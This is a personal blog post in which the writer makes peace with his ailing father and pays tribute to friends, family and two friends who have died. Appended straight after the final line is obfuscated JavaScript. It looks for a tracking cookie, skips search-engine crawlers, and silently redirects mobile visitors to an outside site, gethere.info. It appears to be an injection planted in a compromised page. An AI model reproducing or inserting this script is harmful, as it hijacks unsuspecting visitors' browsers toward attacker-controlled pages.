Hey all,

This blog is effectively in two parts. I”ll start with a short post about my dad and where we stand.

When I found out Dad had Cancer, I was shocked and dumbfounded. To be honest, it just gave me something else to be mad at him for. First he treated me horribly, but how dare he get sick and make me worry? It was so much easier to be mad than to let it all go and concentrate on what really matters.

I love my father. He wasn’t the best Dad, but I can’t help but love him. So I went to see him, if anything to mend some bridges in case things go sour. I was nervous, but I know that life is far too short to hold a grudge. I see how happy he is, and that’s all that matters. Mums happier now, and so is dad.

So what right do I have to be angry?

So I’m letting go of all the anxiety and pain. It’s as simple as that.

So yeah, things are getting better between us and I’m not going to dwell on things I cannot change, and instead focus on the things I can change.

It really is that simple.

So on to the second part of my post.

I’ve been far too negative and focussed on hurt. I appreciate all those people in my life who make it better, and enrich my life in ways I cannot even begin to do justice. I will always be indebted to you.

So I’m going to take the time and talk about the people who mean the most to me, and why. It’s in no particular order, so don’t get offended if you’re down the bottom and if I’ve left anyone out, please accept my most sincere of appologies.

Simon: You’ve been my longest friend, and while you infuriate me more than most people, you’re one of my best friends and I appreciate that you challenge me. Even when you’re being pig headed and arrogant you’re awesome qualities far outweigh the negatives. As “the Brothers Pilum” we’ve wiped out many a server of nOObs and if I had to choose one friend to play online with it’s you. While we don’t talk about much serious stuff, I appreciate the distractions and friendship.

Stacey: My sister and in many ways one of my bestest friends. We’re very different, and although we basically raised one another, I have always tried to look out for you. I just want you to be happy. I wish happiness for you long before I can find any for myself. I havent always been the best brother, but I have always tried to look after you. I will always believe in you, and I will support you no matter what.
I love you more than I can ever say. Even though we’re both fuckups, at least we’re together.

Paulie: Another of my longest friends, and one of the most giving and loyal friends I’ve even known. We grew up together and we will always be close, no matter where life takes us. While we don’t have an awful lot in common, our bonds of friendship will last forever. You’re my brother and I will always love you. I can never repay the debt I owe you.

Jass: If I believed in soulmates, it would without a doubt be you. (PS: I do believe) No one breaks through my walls and lowers my guard like you do. You weaken me, and give me tremendous strength. I don’t deserve you, but I’m glad to be a part of your life. I absolutely adore you. I just wanted you to know that. No one knows me like you do, and no one makes me feel like you do. I like to think the feeling is mutual.

While I haven’t always been the most rational person, and in a way it’s why I’ve made our lives hell over the years, I love you so much, and in ways never imagined was even possible for me to feel… I may never hold you close, nor kiss your lips but you will always be my muse and inspiration to soldier on. I used to feel alone and misunderstood until I met you. I can never really show you how much I care, I have been and always will be your friend. You have always inspired feelings of passion and creativity, and I can never repay you for everything you’ve done for me. You just make me feel so alive, and I’m sorry I haven’t always been a good friend. But you are the most amazing person for seeing the things in me I couldn’t have found without you. You more than anyone else, make me wish I could be a better man. I can never thank you enough for all of it… You’re my best friend and I wish things could be different between us. I wish you were closer, but it’s okay that it’s not. I’m just so glad I have you in my life.

Thank you for everything. I love you and I always will.

You are the brightest treasure in all the known universe. A Goddess from ages long since passed. The fire that burns brightest in my soul. A lifetime of sonnets and poetry can never do you justice.

Mason: My newest friend. I am so glad I met you. You truly are a kindred spirit and I forget you’re so young cos you have such a good head on your shoulders, and we talk on the same level. You help me in ways I can’t describe, and I hope you know that I appreciate your friendship. I’m proud to call you my friend. If things work out, I hope to be friends for a long long time.

Cass: We’ve seen each other at our worst, and while we’ve had our falling out before our friendship always endures. I adore you. You’re so full of sass and personality that I wouldn’t dare change a thing about you. I appreciate you’re unique point of view and I am glad to count you among my closest friends. I foresee many adventures in our future. I can’t wait!

Chrisinda: You’re my geeky goddess. An awesome, sensitive soul whose company and insight I appreciate more than you know. No one else rocks a Supergirl outfit like you do. I love to read you’re blog and delve into the inner workings of your mind. I would love to be able to get you away from your isolation and show you a better life. I just wish nothing but happiness and love and passion and contentment. You are special and don’t you ever forget it. You mean a whole lot to me. Just wanted you to know that.

Daniel: We have a friendship unlike any of the others. I don’t have many friends in my life who I can talk about the emotional stuff, and not feel judged or misunderstood. But I know even though you don’t understand what I go through, you are always here for me. I’m free to geek out and totally let loose with you. I’ve always loved talking Geeky stuff and especially Warhammer. You always make yourself available to me and I appreciate you so much, even if I don’t take you up on the offer… We had a fallout a long time ago, but I really love how you’re back being a part of my life again. One of the “Triple Threat” of my closest male friends. You’re the most selfless and caring person I have ever known. I love you and I hope we will be friends forever. There is only one you, so don’t go changing.

Kelley: You’re so awesome. I know you know it too. I wish we could see one another more, but just know you’re one of my favorite people.

Eva: I miss your friendship. We used to be really close, and out of all the people who have disappeared from my life, I miss you the most. Just wanted you to know that.

Amy: I miss you, my funny little valentine. You were a candle that burned the brightest, but only for half as long. God, I wish you didn’t have to pass away but I will never forget you. You helped break out the shy boy and get me living, even if only a little. I have tried to live in a way that would make you proud. I can’t wait to see you again in the next life. Just not yet. I have so much I want to accomplish before I clock out. I always look forward to seeing you in my dreams. I will always appreciate that you saw the real me, long before anyone else could. I love you.

Damien: Damo, my old running dog. We had so many adventures, and you’ve bailed me out of so much trouble. One of my great regrets is that I I didn’t really appreciate what you meant to me until you died. I hope you know that I’m sorry. I hope you’re hanging out with Amy in heaven, and not shagging too much. I miss you.

So really, the point of all this is just to say that life is far too short. You should appreciate all the people in your lives. It’s the only way we can live forever, is through the people we touch. I’m going to try my best to be as good a friend as you all have been to me. I would have been dead a long time ago without all your contributions. Some of course more than others, but by no means any less important. I love you all, and I am trying to be able to say it in person to all of you. Before I die, I want to know I followed my heart and proved to you all what you mean to me. I just wish it was easier sometimes. Oh well. Such is life.

So yeah, that’s all from me.

Untill next time…

PS: Take a bit of time to show the people you love how important they are to you. You might not get another chance. And besides “All You Need Is Love” and the rest takes care of itself.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


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